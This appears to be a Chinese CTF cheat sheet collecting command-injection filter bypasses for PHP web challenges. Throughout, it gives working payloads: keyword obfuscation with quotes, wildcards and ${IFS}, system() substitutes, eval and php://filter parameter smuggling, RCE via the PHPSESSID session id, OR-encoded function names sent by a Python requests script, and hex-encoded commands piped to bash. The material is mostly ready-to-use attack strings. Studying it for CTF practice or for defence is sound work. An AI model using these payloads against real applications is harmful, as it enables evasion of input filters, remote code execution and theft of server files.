对一些常见的绕过方式进行总结

过滤了特定关键字

  1. 通配符。使用通配符?*绕过对一些关键字的过滤
  2. 使用引号,例如flag.php,写为fl’’ag.php, echo `cat fla’’g.php`, l’’s, l””s
  3. 利用转意符号:l\s
  4. 利用斜杠:l/s
  5. 利用${Z}, $*:l${Z}s、l$*s

过滤了cat

替代命令:tac、more、less、head、tail、nl、od

过滤了system函数

  1. 使用passthru()替换system()
  2. 使用shell_exec()、exec(),不会打印结果,需配合echo
  3. 使用反引号``,但是反引号的结果不会主动输出,需要使用echo命令输出执行结果,echo `ls`

过滤空格

  1. %09(tab)
  2. %20(空格本身的url编码)
  3. %0a
  4. ${IFS}(Linux),eg:cat${IFS}flag.txt
  5. $IFS$9(Linux),eg:cat$IFS$9flag.txt
  6. <>、<,eg:cat<>flag.txtcat<flag.txt
  7. {},eg:{cat,flag.txt}

过滤分号

php中,?>的前一个语句可以不要分号。eval(xxx)?>

参数传递绕过

  1. 参数传递:c=eval()$_GET[1]);&1=system(ls);

  2. 使用文件包含绕过。使用include结合参数传递伪协议绕过

1
2
3
?c=include$_GET[w]?>&w=php://filter/convert.base64-encode/resource=flag.php
# 当然也可以写成
?c=?><?=include$_GET[w]?>&w=php://filter/convert.base64-encode/resource=flag.php

无参函数

1
show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv()会返回一包含本地数字及货币格式信息的数组。

pos():输出数组第一个元素,不改变指针

其中localeconv()返回的数组第一个元素是.,pos(localeconv())返回的也就是.

scandir(pos(localeconv())),也就是scandir(.):遍历目录,此处遍历的是.,也就是当前目录下的所有文件,返回的是一个数组

array_reverse():逆转数组,此处逆转主要是为了方便取出文件,因为linux中前方的文件是一些隐藏文件

next():取数组的下一个,此处next(array_reverse(scandir(.))),也就是把当前目录下的文件存入一个数组,然后逆置过来,取逆置后的数组中的第二个元素。

show_source():展示源码

当然,此处返回为数组时,可以使用[1]来指定取出第几个元素。

或者,pos(localeconv())也可以用getcwd()(获取当前目录的地址)替代 ,payload可以构造如下:

1
show_source(next(array_reverse(scandir(getcwd()))));

利用sessionid进行rce

1
?c=session_start();system(session_id());

cookie中设置

1
Cookie: PHPSESSID=whoami

读取文件:

1
2
3
?c=session_start();show_source(session_id());
?c=session_start();readfile(session_id());
?c=session_start();highlight_file(session_id());

cookie中设置:

1
Cookie: PHPSESSID=flag.php

使用运算符绕过

参考ctfshow web入门 web41,这个例子是使用的运算符,通过尝试在ascii码0~255之间,找到两两配对的字符,进行|或运算后,能够得到我们想要的字符的效果,进而实现绕过。

例如:A = %40 | %01

因此可以得到payload:

1
2
3
4
5
6
7
8
9
10
11
import requests
from urllib.parse import unquote

url = 'https://f9f057eb-d835-4317-b6a0-012f80f4dae5.challenge.ctf.show/'

payload_func = '(\'%60%60%60%60%60%60\' | \'%13%19%13%14%05%0d\')'
payload_param = '(\'%03%01%14%00%06%0c%01%07%00%10%08%10\'|\'%60%60%60%20%60%60%60%60%2e%60%60%60\')'

print(unquote(payload_func + payload_param))
req = requests.post(url, data={'c':unquote(payload_func + payload_param)})
print(req.text)

其中计算的效果其实是:
image-20250120221600817

利用拼接绕过

1
a=fl&b=ag.txt&c=cat $a$b

利用hex编码绕过

cat /flag可以写成以下的形式

1
echo '636174202f666c6167' | xxd -r -p | bash

利用$PATH环境变量拼凑命令

1
2
~/Downloads » echo ${PATH}
/usr/local/bin:/System/Cryptexes/App/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/local/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/appleinternal/bin:/Applications/iTerm.app/Contents/Resources/utilities

例如以上是我本地的环境变量,在其中拼出ls即可

1
echo ${PATH:5:1}${PATH:2:1}   == > ls

直接进Linux的bin目录找想要的命令

找cat命令:/bin/c?t

其余命令原理相同

无字母RCE

使用base64命令,对flag进行base64编码输出,此处flag位于flag.php

1
?c=/???/????64 ????.???